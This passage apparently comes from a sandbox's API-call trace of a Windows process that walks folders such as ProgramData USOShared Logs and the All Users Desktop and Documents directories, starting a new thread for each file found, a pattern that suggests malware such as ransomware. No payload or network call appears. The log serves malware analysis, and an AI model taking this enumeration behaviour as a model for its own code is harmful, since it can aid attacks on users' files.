	[0079.315] wcscpy (in: _Dest=0x476e548, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.315] wcscat (in: _Dest=0x476e548, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.315] wcscat (in: _Dest=0x476e548, _Source="UpdateSessionOrchestration.011.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl"
	[0079.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4
	[0079.316] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1
	[0079.316] wcscmp (_String1="UpdateSessionOrchestration.012.etl", _String2=".") returned 1
	[0079.316] wcscmp (_String1="UpdateSessionOrchestration.012.etl", _String2="..") returned 1
	[0079.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e788
	[0079.316] wcscpy (in: _Dest=0x476e788, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.316] wcscat (in: _Dest=0x476e788, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.316] wcscat (in: _Dest=0x476e788, _Source="UpdateSessionOrchestration.012.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl"
	[0079.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8
	[0079.317] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1
	[0079.317] wcscmp (_String1="UpdateSessionOrchestration.013.etl", _String2=".") returned 1
	[0079.317] wcscmp (_String1="UpdateSessionOrchestration.013.etl", _String2="..") returned 1
	[0079.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476dfa8
	[0079.317] wcscpy (in: _Dest=0x476dfa8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.317] wcscat (in: _Dest=0x476dfa8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.317] wcscat (in: _Dest=0x476dfa8, _Source="UpdateSessionOrchestration.013.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl"
	[0079.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476dfa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec
	[0079.318] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1
	[0079.318] wcscmp (_String1="UpdateSessionOrchestration.014.etl", _String2=".") returned 1
	[0079.318] wcscmp (_String1="UpdateSessionOrchestration.014.etl", _String2="..") returned 1
	[0079.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476da98
	[0079.318] wcscpy (in: _Dest=0x476da98, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.318] wcscat (in: _Dest=0x476da98, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.318] wcscat (in: _Dest=0x476da98, _Source="UpdateSessionOrchestration.014.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl"
	[0079.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476da98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0
	[0079.318] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1
	[0079.318] wcscmp (_String1="UpdateSessionOrchestration.015.etl", _String2=".") returned 1
	[0079.318] wcscmp (_String1="UpdateSessionOrchestration.015.etl", _String2="..") returned 1
	[0079.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e818
	[0079.319] wcscpy (in: _Dest=0x476e818, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.319] wcscat (in: _Dest=0x476e818, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.319] wcscat (in: _Dest=0x476e818, _Source="UpdateSessionOrchestration.015.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl"
	[0079.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4
	[0079.319] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1
	[0079.319] wcscmp (_String1="UpdateSessionOrchestration.016.etl", _String2=".") returned 1
	[0079.319] wcscmp (_String1="UpdateSessionOrchestration.016.etl", _String2="..") returned 1
	[0079.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e278
	[0079.319] wcscpy (in: _Dest=0x476e278, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.319] wcscat (in: _Dest=0x476e278, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.319] wcscat (in: _Dest=0x476e278, _Source="UpdateSessionOrchestration.016.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl"
	[0079.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8
	[0079.320] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1
	[0079.320] wcscmp (_String1="UpdateSessionOrchestration.017.etl", _String2=".") returned 1
	[0079.320] wcscmp (_String1="UpdateSessionOrchestration.017.etl", _String2="..") returned 1
	[0079.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e8a8
	[0079.320] wcscpy (in: _Dest=0x476e8a8, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0079.320] wcscat (in: _Dest=0x476e8a8, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0079.320] wcscat (in: _Dest=0x476e8a8, _Source="UpdateSessionOrchestration.017.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl"
	[0079.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476e8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4
	[0084.349] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2ddd398 | out: lpFindFileData=0x2ddd398*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1
	[0084.350] wcscmp (_String1="UpdateSessionOrchestration.018.etl", _String2=".") returned 1
	[0084.350] wcscmp (_String1="UpdateSessionOrchestration.018.etl", _String2="..") returned 1
	[0084.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e548
	[0084.350] wcscpy (in: _Dest=0x476e548, _Source="C:\\ProgramData\\USOShared\\Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0084.350] wcscat (in: _Dest=0x476e548, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.350] wcscat (in: _Dest=0x476e548, _Source="UpdateSessionOrchestration.018.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl"

Thread:
	id = 352
	os_tid = 0x14a8

	[0076.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0076.894] wcscpy (in: _Dest=0x2e04090, _Source="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore") returned="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore"
	[0076.894] wcscat (in: _Dest=0x2e04090, _Source="\\" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore\\") returned="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore\\"
	[0076.894] wcscat (in: _Dest=0x2e04090, _Source="*" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore\\*") returned="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore\\*"
	[0076.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddd600
	[0076.894] FindFirstFileW (in: lpFileName="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf78
	[0079.330] wcscmp (_String1=".", _String2=".") returned 0
	[0079.330] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.330] wcscmp (_String1="..", _String2=".") returned 1
	[0079.330] wcscmp (_String1="..", _String2="..") returned 0
	[0079.330] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2ddd600 | out: lpFindFileData=0x2ddd600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.330] FindClose (in: hFindFile=0x2dacf78 | out: hFindFile=0x2dacf78) returned 1
	[0079.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddd600) returned 1
	[0079.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0079.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732ce0) returned 1

Thread:
	id = 353
	os_tid = 0x14ac

	[0076.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacef8
	[0076.895] wcscpy (in: _Dest=0x2dacef8, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0076.895] wcscat (in: _Dest=0x2dacef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\"
	[0076.895] wcscat (in: _Dest=0x2dacef8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\*") returned="C:\\Users\\All Users\\Adobe\\*"
	[0076.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddd868
	[0076.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x2ddd868 | out: lpFindFileData=0x2ddd868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0079.323] wcscmp (_String1=".", _String2=".") returned 0
	[0079.323] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2ddd868 | out: lpFindFileData=0x2ddd868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.323] wcscmp (_String1="..", _String2=".") returned 1
	[0079.323] wcscmp (_String1="..", _String2="..") returned 0
	[0079.323] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2ddd868 | out: lpFindFileData=0x2ddd868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0079.323] wcscmp (_String1="ARM", _String2=".") returned 1
	[0079.323] wcscmp (_String1="ARM", _String2="..") returned 1
	[0079.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2dfafe8
	[0079.323] wcscpy (in: _Dest=0x2dfafe8, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0079.323] wcscat (in: _Dest=0x2dfafe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\"
	[0079.323] wcscat (in: _Dest=0x2dfafe8, _Source="ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM"

Thread:
	id = 354
	os_tid = 0x14b0

	[0076.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac160
	[0076.896] wcscpy (in: _Dest=0x2dac160, _Source="C:\\Users\\All Users\\Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0076.896] wcscat (in: _Dest=0x2dac160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Application Data\\") returned="C:\\Users\\All Users\\Application Data\\"
	[0076.896] wcscat (in: _Dest=0x2dac160, _Source="*" | out: _Dest="C:\\Users\\All Users\\Application Data\\*") returned="C:\\Users\\All Users\\Application Data\\*"
	[0076.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddad0
	[0076.896] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x2dddad0 | out: lpFindFileData=0x2dddad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddad0) returned 1
	[0079.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac160) returned 1
	[0079.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8aa40) returned 1

Thread:
	id = 355
	os_tid = 0x14b4

	[0076.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacf78
	[0076.897] wcscpy (in: _Dest=0x2dacf78, _Source="C:\\Users\\All Users\\Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms"
	[0076.897] wcscat (in: _Dest=0x2dacf78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Comms\\") returned="C:\\Users\\All Users\\Comms\\"
	[0076.897] wcscat (in: _Dest=0x2dacf78, _Source="*" | out: _Dest="C:\\Users\\All Users\\Comms\\*") returned="C:\\Users\\All Users\\Comms\\*"
	[0076.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddd38
	[0076.897] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*", lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad578
	[0079.325] wcscmp (_String1=".", _String2=".") returned 0
	[0079.325] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.325] wcscmp (_String1="..", _String2=".") returned 1
	[0079.325] wcscmp (_String1="..", _String2="..") returned 0
	[0079.325] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.325] FindClose (in: hFindFile=0x2dad578 | out: hFindFile=0x2dad578) returned 1
	[0079.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddd38) returned 1
	[0079.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacf78) returned 1
	[0079.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1

Thread:
	id = 356
	os_tid = 0x14b8

	[0076.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73738
	[0076.898] wcscpy (in: _Dest=0x2d73738, _Source="C:\\Users\\All Users\\Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0076.898] wcscat (in: _Dest=0x2d73738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Desktop\\") returned="C:\\Users\\All Users\\Desktop\\"
	[0076.898] wcscat (in: _Dest=0x2d73738, _Source="*" | out: _Dest="C:\\Users\\All Users\\Desktop\\*") returned="C:\\Users\\All Users\\Desktop\\*"
	[0076.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddfa0
	[0076.898] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x2dddfa0 | out: lpFindFileData=0x2dddfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddfa0) returned 1
	[0079.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73738) returned 1
	[0079.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70980) returned 1

Thread:
	id = 357
	os_tid = 0x14bc

	[0076.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73780
	[0076.899] wcscpy (in: _Dest=0x2d73780, _Source="C:\\Users\\All Users\\Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0076.899] wcscat (in: _Dest=0x2d73780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Documents\\") returned="C:\\Users\\All Users\\Documents\\"
	[0076.899] wcscat (in: _Dest=0x2d73780, _Source="*" | out: _Dest="C:\\Users\\All Users\\Documents\\*") returned="C:\\Users\\All Users\\Documents\\*"
	[0076.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde208
	[0076.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x2dde208 | out: lpFindFileData=0x2dde208*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde208) returned 1
	[0079.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73780) returned 1
	[0079.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73150) returned 1

Thread:
	id = 358
	os_tid = 0x14c0

	[0076.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d737c8
